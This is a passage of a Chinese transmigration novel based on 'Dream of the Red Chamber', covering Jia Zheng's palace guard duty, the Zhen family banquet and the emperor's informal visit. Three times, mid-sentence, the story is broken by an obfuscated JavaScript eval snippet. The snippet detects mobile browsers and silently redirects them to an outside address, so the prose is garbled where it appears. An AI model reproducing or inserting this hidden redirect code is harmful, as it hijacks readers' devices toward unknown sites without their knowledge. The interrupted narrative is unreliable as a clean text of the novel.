贾敏见二哥愣住了,得意道,“好玩儿吧,切乌鱼时林大哥就说不如一刀下去切成个圈,炸出来好吃又好玩儿。” 贾政笑道,“确实好玩儿,外祖父爱吃炸鸡柳,明儿再送些炸乌鱼圈过去,他肯定也喜欢。” 贾母招呼贾政过去坐了,命人上茶给他解酒,又问父亲的情况,全家人闲聊到太阳落下,才各自回房休息去。 回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033495|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荣禧堂,洗漱过后挥退丫头们,贾母的脸色才暗淡下来,问道,“老爷,你说实话,我们家的国公爵位是怎么来的?” 她琢磨了一天儿子的话,越想越心惊,老爷年轻时确实在战场上立过功,但八个公爵府的二代当家人哪个是没有功勋的,为何世袭国公爵位的只有自家? 贾代善怔了下,莫名道,“为何突然问起这个?你可是遇到难题了,还是孩子们出什么事了?” 贾母摇头,把早上和贾政的谈话重复了一遍,垂泪道,“是我糊涂了,从没想过你们在外头的艰难,老爷,我们家的处境真是如此凶险吗?” 贾代善对儿子的清醒通透十分欣喜,却见不得发妻垂泪的可怜样子,一时竟不知说什么才好了。 他揽着妻子,沉默良久才叹了声,“我是担心吓到你,才很少提外面的事,政儿那小子看着是长大了,内里还是没轻没重的。” 贾母轻锤了他一下,嗔道,“不准说我儿子,他要是不说明白了,我还做梦呢,万一做出连累你们的事,我就不要活了。” 贾代善把她扯进怀里,轻斥道,“什么死啊活的,我们全家都要好好活着,只要我们忠君体国,不做那等贪赃枉法之事,祖宗基业总是能保住的。” 贾母委屈的抿起嘴唇,“那爵位呢?政儿说,到珠儿这代我们家的爵位就不剩什么了,真会如此吗?” 贾代善苦笑,“差不多吧,能得个三品将军就算开恩了。我们随父亲在江南镇守十几年,由我亲自训练出来的水师近五万之数,国公爵位就是用军权换的,夫人放心,看皇上对政儿的态度就知道了,他对这笔交易是很满意的。” 贾母再愚钝也听明白了,她差点痛哭出声,“没了军权,爵位再高我们不也跟那砧板上的肉一样么。” 贾代善叹道,“能怎么办呢,皇上是不会允许勋贵人家再掌军权的,之所以纵容我们暗中合纵连横,是因为前朝南党未除,需要我们压制他们的势力,一旦南党失势,勋贵世族早晚也是狡兔死走狗烹的结局。” 贾母捂着胸口,咬牙道,“凭什么啊,我们家可是为朝廷出过大力的,皇上要是靠不住,不如现在就投靠太子,还来得及么?” 贾代善好笑道,“太子就不忌惮我们这些功勋世族了吗,投靠他只会死得更快吧,况且朝廷也没亏待我们家啊,老家那几座山的祖田,南北二三十个庄子,要不是伯父和父亲为朝廷出过力,凭我们家的佃户出身,上哪儿弄这么大的产业去。” 贾母这回是真哭了,她还指望政儿能取代老大继承爵位,让荣国府一直风光下去呢。 听老爷这样说,那个破爵位反倒成了催命符,以后贾家可怎么办哦。 贾代善劳心又劳力,安慰了妻子一晚上,次日一早用死鱼眼猛瞪贾政,都是这臭小子闹出来的。 贾政才不管老爹发什么癫,往后三天轮职到午二班,要全天泡在宫墙里,只能把珠儿交给太太照顾,需要交待的事一大堆,他忙得很呢。 43.第四十三章 升职 今天出来的有些晚,贾政就不去小院了,直接在西安门下车,让松烟他们自去小院安置。 松烟还不忘提醒他,“爷,明儿甄老爷家办告别宴,可别忘了。” 贾政点头,“明儿巳时在这里等我,我晨训过后就出来。” 宫门虽不好频繁进出,也不是完全不能通容,毕竟谁也不是从石头里蹦出来的,还不许人家在不当职时处理家务事么。 到了侍卫营,羽林卫这边换上了许多新面孔,见到贾政来了都笑着打招呼,友善可爱的好似大学同学,贾政也笑着一一回礼,恍惚间真像回到了大学校园一样。 丁全思和包武迎面走过来,笑嘻嘻搭着贾政往内教场走,“贾政,你听说了没,昨晚上头拟定了官员调动名册,荣国公要升到兵部右侍郎了,以后我们侍卫处的后勤就归令尊管着了。” 贾政心说难怪这些人都笑得好可爱模样,原来是担心他跟老爹告叼状么。 “我没听说过啊,之前虽然有消息说老爷有可能升迁,但从正五品直接升到正三品,会不会太夸张了?” 丁全思摇头,“夸张啥啊,以荣国公的尊荣和简在帝心的程度,本就不应该在中低层待着,之前是你们刚除孝回京,先拿兵部郎中过度一下,让国公爷有时间熟悉京中情况,高升是早晚的事。” “哦,是这样吗。”贾政当然明白这些道理,他是懒得多说话,才用装傻混过去。 但以丁全思世袭百户的出身,也能看懂朝堂上的弯弯绕绕就很难得了。 包武笑道,“我们早就猜到右侍郎肯定是荣国公的,昨晚午二班透露出来,今早宫墙内就传遍了。” 贾政窘着脸,很想知道昨天的午二班是哪几个大队,擅自透露皇上拟定的官员名单,就不怕掉脑袋吗? 他不想继续这个话题,就问起晨训过后要如何打发时间,两人的回答却出乎他预料,冯队长会利用这段时间给队员讲武经,晨训过后讲一个时辰,再让他们自己消化讨论去。 贾政不解道,“有机会学武经不是挺好的么,那你们为啥不喜欢上午二班?” 丁全思苦着脸道,“问题是冯队长对武经也是一知半解啊,武经七册,他只读过《尉缭子》和《李卫公问对》,还讲得乱七八糟的。” 江离的声音在身后响起,“凭冯队长的身手,要是武经学得好,早就考武举去了。” 贾政三人都点头表示赞同,冯队长那体格子当侍卫确实屈才了,策马扬刀上阵杀敌才适合他。 辰时一到,侍卫营所有人在内教场集合,开始今天的晨训,仪态训练过后贾政继续跟冯队长学习绣春刀法。 中途休息时,冯队长向四大队的方向努嘴,“看到没,四大队的右分队队长就是史缶,每次跟四大队一起训练,他都得弄点动静出来,像今天这么老实还是头一次。” 贾政昨天已经问过外祖父史缶的事了,他是外祖父庶长子的独子,所有庶出子嗣早几年就被打发回了金陵,只有史缶因为考上羽林卫留了下来。 外祖父对庶出的子孙从不上心,贾母更不可能关注庶出兄长的子嗣了,因此贾政才从没听说过这号人物。 贾政当时并未多说什么,可以外祖父的精明,肯定猜到并敲打过他了,史缶才会这么安静,但愿他能一直这么老实,否则就不要怪他告状了。 晨训结束,用餐过后冯队长又换了新花样,请贾政为全队讲武经,在他们的观点里,大家公子肯定比他们书读的多,贾政还上过国子监,讲书肯定没问题的。 贾政哭笑不得,“武经七册,我只大略读过《孙子》,还没冯队长会的多,你们要是想听我就讲一讲,但不敢保证能讲好。” 队友们全都鼓掌捧场,其实队里读过武经七册的人并不少,主要是想找件事打发时间。 贾政是上辈子读大学时学的孙子兵法,拿到书后发现内容大差不差,便按照自己学的讲了,还列举了淝水之战,请队友们讨论。 把上午糊弄过去,下午就接到了贾代善晋升成正三品兵部右侍郎的通报,羽林卫的人都向贾政道喜,他只能尬笑着回礼,又出钱请食堂弄来几条牛腿,请今天当职的所有队员吃炙烤牛肉。 午二班的当职时间是从酉时到亥时,就是下午五点到晚上十一点,上辈子职场人最痛恨的加班时间段。 不过只在这个时辰上班就不一样了,晚上不用晒大太阳,还不像白天那样闷热,要不是得在大明宫里关三天,是最轻闲舒服的班次。 接班时皇上已经回到了乾清宫,十六大队今天是巡职,就是守在乾清宫外围来回溜达,禁止一切不经通报的外来物品和人类靠近皇帝居所。 刚跟上一班交接完,甄贵妃的鸾驾便到了,包武小声啧了下,“又是这位,盛宠二十多年了,真够长情的。” 贾政不尴不尬的嗯了声,甄贵妃算是他的远房表姑,亲眼看到她以妾室身份被皇帝召幸,现代人的三观有点崩啊。 不多时三皇子也过来了,看来是想一家三口用晚膳,贾政拉着包武避到宫墙拐角,直到一行人进了后殿才敢冒头。 跟他搭档巡逻的包武不明白有什么好躲的,在御前当差,他们巴不得能跟哪个大人物扯上关系,让别人不敢欺压自己呢。 贾政能说啥,怎么说都不合适,只好摆手让包武不要多问。 平安无事的度过第二次当职,回到营房已是子时过半了,胡乱睡了一晚,次日直到晨训时间快到了才醒。 江离和包武来房里叫他,发现贾政披散着头发,坐在桌前发愣,他们不用想也知道是怎么回事,笑道,“不会梳头?” 贾政可怜巴巴的点头,穿越一个多月,一直有小厮随身侍候,此时才发现自己梳的丸子头根本不合格,连忠靖冠都套不进去。 包武帮他梳了头发,晨训之前全队都知道贾二少不会梳头了,贾政全程死鱼眼瞪着这个大嘴巴,晨训结束后掉头就跑了。 包武被他吓了一跳,追在后头喊道,“唉,不是,你要去哪里啊,不会梳头又不是大事,开个玩笑而已。” 贾政这个气,经他这么一喊,整个侍卫营的人都知道贾二少是个连头发都不会 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贾政是第一批到的客人,拜见过甄应嘉,被他勉励夸奖几句,又被甄大少爷送到内宅甄老太太跟前。 甄老太太是皇帝乳母,别看只是内务府奴婢出身,连皇后在她面前都要持晚辈礼。 贾政对这位远房叔祖母更不敢怠慢,行的是叩头大礼。 甄老太太喜得眉开眼笑,叫起后把他拉到怀里,笑道,“我头一次见你时还是跟随皇上南巡,那时你才丁点大,被生人抱一会儿就委屈巴巴的,这才过去多久啊,都能给皇上当差了。” 贾政笑道,“叔祖母可一点没变,还跟当年一样精神。” 甄老太太嗔笑道,“我都老天拔地了,还精神呢,你可吃早膳了不曾,让你大哥哥带你吃去。” 贾政摇头,“没呢,我就知道叔祖母这里肯定有好吃的,晨训完就过来了。” “哎,你这孩子,仔细饿到胃疼。”甄老太太连声让人准备好克化的吃食,让甄大少带贾政到外院吃饭去。 两人从西院正房里出来,甄大少就叹道,“你们刚回来不到两年,我们又要去南边了,亲戚总也凑不齐整,留下我姑姑母子在京里,我们也担心得很。” 贾政心说甄贵妃和三皇子只要不造反,谁还能拿他们怎么样不成,表面上却笑道,“甄大哥不用担心,皇上对甄贵妃有情有义,昨晚一家三口还一起用晚膳来着,会照顾好他们母子的。” 甄大少双眼一亮,“真的?” 贾政点头,“我昨天是午二班当职,亲眼看到的,这还能有假了。” 甄大少的笑容更真诚了几分,“以后就要有劳政弟弟多关照一二了,昨儿姑母说会抱珠儿侄子过来,我那小子也才一岁多,原想着小兄弟一起长大,以后也有个照应,结果又要分开那么远。” 贾政也假装感叹几句,此时才发现忽略了一件事,甄贾两家都有个宝玉,且年纪相仿,甄应嘉比自家老爹都大,总不会十多年后,六十多岁再得一子吧? 44.第四十四章 宴席 贾政琢磨半晌,然后发现自己在发神经,他连贾宝玉都不想要,管甄宝玉是谁生的干嘛。 抛开乱七八糟的想法,他埋头享用美食,水晶虾饺皮弹肉嫩,虾肉紧实鲜甜,馅里不知放了什么,每咬一口都有香浓的汤汁爆出来,好吃到停不住嘴。 贾政在心中赞叹,甄家虽没有爵位,可要论权势和在皇帝心中的地位,宁荣两府掐在一起都难以企及。 就看这用来待客的外宅客院,雕梁画栋,金窗玉槛,琉璃灯古玩架,和荣禧堂也不差什么了,甄家才当得上金门玉户神仙府,桂殿兰宫妃子家的称号,连屁股下的象牙簟都有宠妃的派头。 相比之下,荣国府的吃穿用度可称得上简朴了,贾赦偶尔弄几样古董玩器,还会被老爷训斥,带两个儿子忆苦思甜一下,也就他这个平民才觉得奢侈吧。 贾政又夹起一个虾饺,刚要送入口中,一声嗤笑从隔壁传来,接着又有接驾,亏空几个字飘入耳中。 他心中悚然一惊,突然想起甄老太太刚才的话,自家在江南也是接过驾的。 原著中贾家修建大观园花了近百万两,把林家积累了上百年的财富都搭了进去,这还是盖妃子省亲用的园子,自家在江南接一回圣驾那得花多少钱呀,银子又是打哪里来的? 贾政吓出一身冷汗,也没心情享用美食了,让小厮带他到距离大门最近的阁楼里坐了,打算等老爷来了问个清楚,欠了户部银子就想办法尽快还上,拖到内囊将近时再想还也晚了。 一直等到临近午时,宁荣两府的当家人和贾赦才相携而来,贾政看着被簇拥在中间,与众人相谈甚欢的贾代善,突然又问不出口了。 老爷昨儿刚升了官,正是春风得意的时候,他不说恭喜几句,还上杆子添堵,哪有这样当儿子的。 不等贾代善被请入席中,太子和三位皇子都到了,还带来了皇上皇后和甄贵妃的赏赐。 众人接赏谢恩忙了好一阵子,直到请四位天潢贵胄在主位上坐了,这才全部入席,正式开宴开戏。 贾家三兄弟和甄家几位少爷都被叫去陪坐,三皇子看到贾政就笑道,“昨儿一天都没看到你,才当职一天就偷懒了?” 贾政也笑了,“哪能呢,昨天是午二班巡职,三皇子和贵妃娘娘的车驾前后进殿的时候我正在远处巡逻呢。” 三皇子白了他一眼,“看到了也不知道上来打声招呼。” 贾政无奈道,“三皇子的意思是我应该一路飞奔跑到你车前,等你进殿了再被队长追着打么。” 众人想象那个画面,连看贾政不顺眼的太子都忍不住笑起来。 甄大爷笑得肩膀直抖,“宫里规矩大,三皇子可饶了这小子吧,就冯欣那大巴掌,挨一下得把政弟弟扇出二里地去。” “冯欣是政儿你的队长?”贾敬惊了下。 贾政也很惊讶,“敬大哥,你认识我们队长?” 见贾政兄弟俩瞪圆眼睛看着自己,席上其他人也等着他回答,贾敬无奈道,“直隶冯家,几百年的大族了,先祖在开国时授封三等子,顺天府的府尹,羽林卫大队长冯欣,你的好兄弟冯唐,还有内子的母亲都出自冯家,冯欣年少时还在我们的家学里附过学,我们同窗一年有余呢,也就你们两个整天傻吃憨睡,什么都不知道吧。” 贾政贾赦都窘着脸,别人倒罢了,敬大嫂子是真把他们当亲兄弟疼的,连她的母族都不知道是哪家,也太混账了吧。 甄二少呵呵笑道,“我们老爷还说贾政你会挑地方,在姻亲手下当差省得受委屈,我们也能少操点心,原来你这家伙什么都不知道,糊里糊涂就进羽林卫了。” 太子哼了声,“果然是傻人有傻福。” 先前是因为贾政受伤又失踪,给他带来不少非议,太子一直看贾政不顺眼,如今再看,这家伙就是个表面光鲜的小傻子,跟他置气自己也成傻子了。 司徒衡却在心里苦笑,之前还当贾政是在装傻,其实心里精明得紧,否则也不会在圣寿宴上帮自己摆脱一场危机。 前天担心他会被监门卫为难,特意提前出宫,哪知人家已经带着新队友找场子去了,根本不用自己帮忙。 如今他也弄不清贾政究竟是聪明还是呆了,忍了又忍还是轻声提醒道,“晚上还要当职,仔细别碰酒水。” 三皇子素来看老五不顺眼,尤其皇上为了防备他的母族势力,把舅舅一家派往江南,他就更烦他了。 听到司徒衡的提醒,三皇子也不得不承认他想得周到,对甄大少道,“找个人盯着他吧,可别再闹笑话了。” 贾政讪笑着拱手道谢,不知是该为傻子人设不倒开心,还是懊悔装傻太成功,连司徒衡都把他当傻子看了。 太子和三位皇子坐不到半个时辰便回宫去了,贾政见时间差不多了,连同贾赦向甄家人告辞,一起出了甄家回宫去。 甄家的宴席有一半是内务府帮忙准备的,结束以后负责与皇庄对接的部门还需要盘账,这两天且有得忙呢。 兄弟俩坐在一辆车上,贾政打量贾赦,感觉他跟刚穿来时不大一样了,眼睛明亮了很多,连气质也沉静下来了。 他问道,“大哥你们内务府最近很忙吗?” 贾赦正发愁呢,被弟弟这么一问,满腔愁绪如大坝开闸,掰着手指细数接下来几个月要忙的事。 皇上指了两个皇庄,将其出产全部归到忠敬郡王府,内务府要单独分出几个人与王府对接。 月中准备太子生日,下月初皇上又要去猎场,回部的人马眼看就要到了,接待等诸多事宜也少不了内务府协助。 中途还夹着中秋节,忙完这些又赶上皇庄秋收,秋收过后是重阳节,然后是冬祭和新春,一通忙下来他都能入土了。 贾政边听边观察,见贾赦嘴上虽然报怨连连,但并没有退缩和厌烦的表情,他这才安下心,笑道,“赶着忙呗,有事可做官职才能升得快,我们算是幸运的,你没发现甄家几个少爷连闲职都没一个么,过几天又要跟甄伯父前往江南,以后进身的机会就更渺茫了。” 贾赦点头,“老爷昨晚还说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046579|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起这件事,甄伯父是皇帝近臣,又是三皇子的舅舅,把儿子安排在哪个部门都不合适,如今又被派往江南,前程如何还未可知呢。” 贾政压低声音,“甄家的全部指望都在皇上和三皇子身上,他们只能赌。” 贾赦打了个激灵,摇头咂嘴道,“不可说啊不可说,老太太就说过,甄家送姑娘进宫是步臭棋,偏那姑娘还生了个受皇帝宠爱的儿子,就相当于把甄家人的半只脚送进阎王殿里去了。” 贾政没想到祖母还有这等见识,政治嗅觉比太太强多了,皇上四个儿子,太子是嫡出正统,五皇子背后是诗书世族,连七皇子都有本朝新贵拥护。 三皇子反倒是根基最浅的,母族是内务府出身,除了皇帝宠爱,可以说是丝毫优势靠山也没有。 见贾政神色暗淡,贾赦紧张道,“你别乱来啊,在宫里离三皇子远着些,我们虽是亲戚,也没有把身家性命交出去的道理。” 贾政没想到还有被贾赦警告的一天,笑道,“知道啦,为了珠儿和未来的侄子,我也不会干傻事的。” 贾赦面上一苦,叹道,“还侄子呢,我比你早成亲好几年,珠儿都快半岁大了,我房里连个有动静的都没有呢。” 贾政想到贾赦房里那些人就头疼,“你成亲头几年都在守孝,过后你又弄了一屋子小妖精,把精力都耗损到她们身上,大嫂能生出孩子才怪呢。” 贾赦眨眨眼,“还有这种说法?” 贾政肯定道,“当然啊,对比一下我们房里的人,问题不是很明显么。” 贾赦恍然大悟,“对哦,我怎么没想到还有这个原因呢,肯定是屋里有不利子嗣的人,回头就把那些小娘皮都打发了,等养出儿子来再进新人不迟。” 贾政差点给他一巴掌,这种渣男放到上辈子早被娘家人打死了,大嫂真是命苦,她会英年早逝,该不会就是被贾赦气死的吧? 把贾赦送进东华门,贾政在申时回到侍卫营,进了院子就去正房找冯队长,这家伙正边啃烧鸡边看孙子兵法呢。 他扫了眼贾政双手,泄气道,“你这家伙独自去甄家吃酒,就不知道带回点好东西给兄弟们尝尝么。” 贾政好笑道,“哪有去别人家赴宴还连吃带拿的,你也少吃点吧,都宽成什么样了。” 冯队长一拍肚子,满不在乎道,“哪天上了战场,这身膘就是保命利器,你小子都累趴下了,我还能再跑几个时辰呢。” 贾政赞同道,“确实,这身肉不仅能抗,还耐打,一刀砍过来我都两截了,你也就破个皮。” 冯队长哈哈大笑,“你这小子就是招人喜欢,你是在酒席上听说皇上要去猎场的事了,来找我求证的?” 贾政笑道,“队长英明,除了求证,还是来道歉的,我之前都不知道我们两家是姻亲,敬大嫂子待我那么好,我连她的母家都不知道。” 冯队长呵呵笑道,“这有什么,我们男人建功立业才是根本,要不是少年时在你们家附学一年多,我也不知道族姑母家的表姐嫁进了宁国府。” 45.第四十五章 出宫 贾政有点方,“等一下,队长你的同族姑母嫁进了史家,生下了我静大嫂子,就是说我跟你是同辈的,那我应该叫冯有……” 冯队长咯咯笑道,“嗯,你得叫他一声世叔,是不是很好玩儿?” 贾政…… 行吧,他比冯有小七八岁呢,贾珍只小他六岁,还不是一口一个小叔叫得挺欢么。 “还有下个月去猎场的事,外面都传遍了,为何我在羽林卫从来没听说过?” 冯队长笑问,“你既知道了,告诉了其他人没有?” 贾政摇头,“没接到上旨之前,上面的事哪是能随便说的。” 冯队长哈哈笑道,“老卫把你招进十六大队时很多人都等着看笑话,我却丝毫也不担心,看贾敬就知道了,你们这些顶级权贵子弟再如何荒诞不羁,行止见识也远超平民,尤其在对上进退这方面,我们百个也不及你们一个。” 接着他就讲了为何朝堂上早知道皇上要去猎场,羽林卫这边却毫无动静的原因。 羽林卫是皇帝近臣,很多外头不能传的消息,与他们只是寻常事。 比如荣国公擢升之事,在上谕没下达之前,外界只能猜测,在羽林卫的地盘上却可以随意说出来,皇上本也不打算瞒着他们。 但在涉及到皇帝出行和安全此类的事,近身保护皇帝的羽林卫又成了需要防范的人,就像每次当职时都是进入内朝,才能得知皇帝的位置。 去猎场之前,京营府会安排好驻防等一切事宜,直到皇上到达猎场,才会交给羽林卫接手。 把布防和执行分成两拨人,才能确保不会被人提前接到消息钻空子。 “所以啦,哪怕京都所有人都知道皇上下个月就要去猎场,我们也要假装不知道,提都不要提,懂吗?” 贾政拱手,郑重感谢冯队长的提点,之前他只知道在工作场合随便嚼舌根是大忌,从不明白内里还有这么多套路。 他又想起一件事,“我们接下来是不是要练一下箭法?万一需要我们代皇上打猎,总不能掉链子吧。” 冯队长一拍大腿,“嘿,我就说忘了点啥吧,去把刘副叫过来,我们库房里的弓箭不知道还有多少能用的了。” 接下来,全队听从队长命令,从耳房往外捣腾弓箭,队友们都默默做事,没一个多嘴乱问的。 羽林卫除了官服还配有猎装,猎装平时都是交上去保管的,配套的弓箭却会留在队里,供队员们日常练习使用。 虞朝军队的标准配备是一石弓,六钱箭,射程可达一百零五步,羽林卫以近身格斗为主,能在五十步□□中六环就算合格了。 贾政上辈子学过复合弓,也在后花园试用过古代弓箭,架势拉得挺标准,准头就很难保证了,能在二十步□□中三环都是超长发挥。 队友们也不嫌弃他,公子哥能做到贾政这个份上已经超出很多人预期了,弓箭又没什么难的,只管练去就是了。 全队练习到轮职时间才罢手,再次进入内朝,被告知皇上正在养心殿,便加快速度赶了过去。 皇上正在养心殿换衣服,身边只有七皇子一人,等他们换防结束,皇上一身富家翁的打扮走出正殿,对众人笑道,“走吧,陪朕到甄府吃酒去,哎,好久没吃过甄嬷嬷亲手做的桂花糕了。” 羽林卫躬身应诺,贾政跟在皇帝车辇后面,今天第二次来到甄府。 白天的客人都已散去,甄家却大门敞开,大戳灯从门口延伸到院里,灯下摆满了各色花卉,明亮生辉花彩缤纷,甄家父子在门前垂手侍立,好似早料到皇上会来了。 皇上哈哈笑着受了甄家众人的礼,拉着甄应嘉向里走,甄家老太太带着众女眷等在门内,皇上几步上前扶起欲行礼的甄老太太,娘俩手挽着手往正房去了。 贾政紧紧跟在七皇子身侧,努力控制表情才没皱起眉头,皇上白服出宫本就危险,甄家还如此大张旗鼓的迎接,生怕别人不知道皇上会来一样,未免张狂过头了吧。 再看身边的七皇子,得,小眉头皱得都能夹死蚊子,看这样是已经给甄家记上一笔了,这么早就得罪了未来的万岁爷,且有他们倒霉的。 他轻咳一声,在七皇子微微侧头时指了下自己眉心,小少年立即心领神会的拉平眉头,嘴角也挂上了浅浅的笑容。 贾政心中微动,突然生出一个想法,其实皇上最喜欢的儿子是七皇子吧。 四个儿子,前三个都长得像母亲,各顶各大帅哥,尤其是五皇子司徒衡,长得那叫一美不胜收。 其实皇上长得相当一般,要不是气度不凡,丢到人堆里都不好找。 只有小儿子最像自己,还聪敏好学,沉稳安静,母族也从不生事,换成贾政也会最喜欢他。 进了正院,桌上早已摆好了酒席,都是皇上喜欢吃的,甄老太太和甄应嘉一个布菜,一个添酒,像招待自家亲戚一样招待皇上。 贾政站在墙角,心惊肉跳的盯着皇帝父子,生怕两人吃出个好歹来,他们这些跟着的人全都得殉葬。 皇上像是早已习惯了甄家人的行事风格,神色自若的边吃边聊,和甄老太太母子追忆往事,说些小时候的趣闻。 说起皇上从前喜欢吃的东西,甄老太太还扭头对贾政笑道,“听管事的说你今早只盯着虾饺吃,喜欢也不早说,我把方子交给你太太了,让她做给你吃吧。” 见皇上也笑盈盈看着自己,贾政自然不能扫兴,他吸了下鼻子,赧然道,“还有桃心酥油卷,那个也好吃。” 甄老太太哈哈大笑,“知道啦,真是个小馋猫,珠儿跟你一样,看到我们吃点心,馋得口水那个流哦。” 皇上这才想起甄家小辈还没见呢,又叫人把孩子们都抱出来,一场家宴直到戌时过半方散。 回到大明宫,把皇上送进东六宫,七皇子送回东五所,就没他们的事了。 贾政扶住有点打晃的丁全思,冯有也吐出口气,脸上全是劫后余生的庆幸。 江离冷哼,“那个甄家,真是不知死活。” 包武也苦笑道,“他们自己作死就算了,还要连带上我们,我做鬼也不会放过甄家人的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053431|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 卫胜青叹气,“好啦,再守一个时辰就没我们的事了,管他们呢。” 贾政全程闭嘴,万分庆幸甄家人再过几天就要滚球了,凭他们得罪人的本事,再在京里待下去,他就要没脸留在羽林卫了。 结束今天轮职,次日晨训过后全队继续练习弓箭,同组的其他大队也加入进来,贾政有众多高手指导,准头突飞猛进。 完成三天轮职,休沐这天贾政赶在早膳前回家,正式向贾代善道喜,恭贺老爷晋升正三品。 贾代善得意非常,自己高升,两个儿子也争气,喜得整个人都年轻了。 他扶起贾政,抓着他的手笑道,“这是在侍卫营练箭了?” 贾政点头,“皇上要去猎场,我们提早练习,省得到时候丢人。” 贾代善笑道,“以后侍卫处的后勤都归我管着了,需要什么只管说。这次围猎是因为西疆回部的几大部族共同上京,皇上打算彰显武德让他们安静些,昨儿特意提了要给羽林卫换新装备,这几天就忙这件事呢。” 贾政惊诧道,“我怎么没听说过?羽林卫的装备也不旧啊,前儿找出的弓箭还是崭新的。” 贾代善呵呵笑道,“你们是皇上的脸面,在外人面前当然要华丽英武,左右才一千多人,一年换一套也不值什么。你们淘汰下来的都是宝贝,有的是人花大价钱求赏,不仅能回本,还大有盈余呢。” 呃,怎么有点像疯狂粉丝求购偶像同款的感觉,贾政窘着脸跳过这个话题,又问朝廷是否有意向出兵西疆,好兄弟还指望这场战事升官呢。 贾代善摇头,“很难说,要看过回部来人再做打算,你告诉谢鲲那几个小子,别上蹿下跳了,要是出兵一准少不了他们。” “哎!”贾政代兄弟们向老爷道谢,要不怎么说朝廷有人好当官呢,有老爷关照,他们出征时怎么也能捞个从七品小校。 派松烟去国子监送信,早膳后送走贾代善和贾赦,贾政命人在院里竖上靶子,继续练习弓箭。 贾珠好几天没见到亲爹了,扒在窗台上盯盯看着他,贾政被看得心软,放下弓箭把儿子从窗里抱出来,疼爱的连亲好几下。 贾珠咯咯直笑,抱着贾政的脖子不松手,贾母进院就看到这一幕,笑道,“我们珠儿想爹爹了是不是,你轮职一回就三天不着家,珠儿找不见你,每天都得哭几场。” 贾政这个心疼,可他也没别的办法,只能对奶娘道,“哥儿哭了就去大哥那里把鹦鹉拿过来,有个伴儿就好了。” 哪知奶娘猛摇头,一副后怕的样子,“二爷不知道,那鹦鹉最近喜欢叨人指头玩儿,还不愿意被关在笼子里,它那嘴连核桃都能咬碎,哪敢让他靠近大哥儿啊。” 贾政看着儿子粉嫩嫩的小手指,也吓得打了个激灵。 贾母摇头道,“鸟雀就罢了,叨到眼睛上也不是玩儿的,不如给珠儿弄几只小狗吧,养大了还能保护他。” 贾政笑道,“还有小猫,松烟家的大狸猫是后街的捕鼠高手,正巧今年下的猫崽长大了,这就让他抱两只过来。” 46.第四十六章 到访 松烟娘听说二少爷要挑猫崽,把整个猫窝都端到了翠香堂,让贾政亲自挑选。 贾政一眼就看中了唯一一只小白猫,好奇道,“狸花猫也会生出纯白色的吗?毛也比同窝的长些,猫爹是长毛猫吗?” 松烟娘也觉得奇怪,摇头道,“公母都是狸花的,我们也不知道这只白的是打哪里来的,那天晚上明明只生了五只,天亮时又多了这只白的,母猫也不是很喜欢,每次都是我按着它,才肯给小白猫喂一阵儿。” 贾敏听说贾政要养猫,也跑过来凑热闹,她哎呀一声,“这只小白猫说不定是有些来历的,二哥,就要这只怎么样?” 贾政自然无有不允的,又指了体型最小的一只狸花,“就留下这两只吧,壮的你们留着灭鼠。” 松烟娘答应一声,抱出一花一白两只小猫交给松画,笑道,“这窝都快两个月了,可以直接喂杂鱼拌饭,只注意别放盐就行,洗澡要赶在日头最足的时候,小猫儿最怕着凉了。” 松画笑着答应下来,拿温热的帕子给小猫擦干净了,才放到贾珠的竹床上。 贾珠一直盯着小猫看呢,之前它们在猫窝里,还有生人在跟前守着,他就只看着不出声。 这会儿两只小猫放到了他的竹床上,他就明白是自己的了,啊啊叫着伸手要去抓。 一个多月大的小猫正是好奇的时候,对贾珠这个小号人类也很感兴趣,喵喵叫着慢慢往他跟前凑。 贾珠还当它俩在跟自己说话,他小嘴张张合合,尝试几次也发出了喵一声。 大家都愣了下,接着大笑起来,贾母抱起贾珠直叫心肝,学猫叫的小宝贝太可爱了。 他们正说笑,就有嬷嬷捧着两个大食盒进来,说是甄家送来的虾饺和桃心酥油卷,连带食谱一并送了过来。 贾母忙命人用上等封打赏了甄家人,贾敏不解道,“甄家不是正忙着收拾行李么,怎么又打发人送吃食来了?” 贾政便把前晚随皇上出宫的事简略说了,苦笑道,“甄伯父看着挺精明一人,在最要紧的事上却犯起了糊涂,再如何待他们亲近那也是天子,竟然真敢当成普通亲戚招待,皇上和七皇子要是有个好歹,这会儿我已经在大理寺的天牢里等死了。” 母女俩吓得脸都白了,她们之前还羡慕甄家比自家更得圣心,此时从另一个角度再看,甄家根本就是在作死,还要连累无辜之人陪葬。 贾母叹道,“唉,这话是怎么说的,我还遗憾甄老爷被派去江南,没法在皇上跟前照顾你呢,现在反倒庆幸他们能离京都远远的,最好这辈子都不要回来了。” 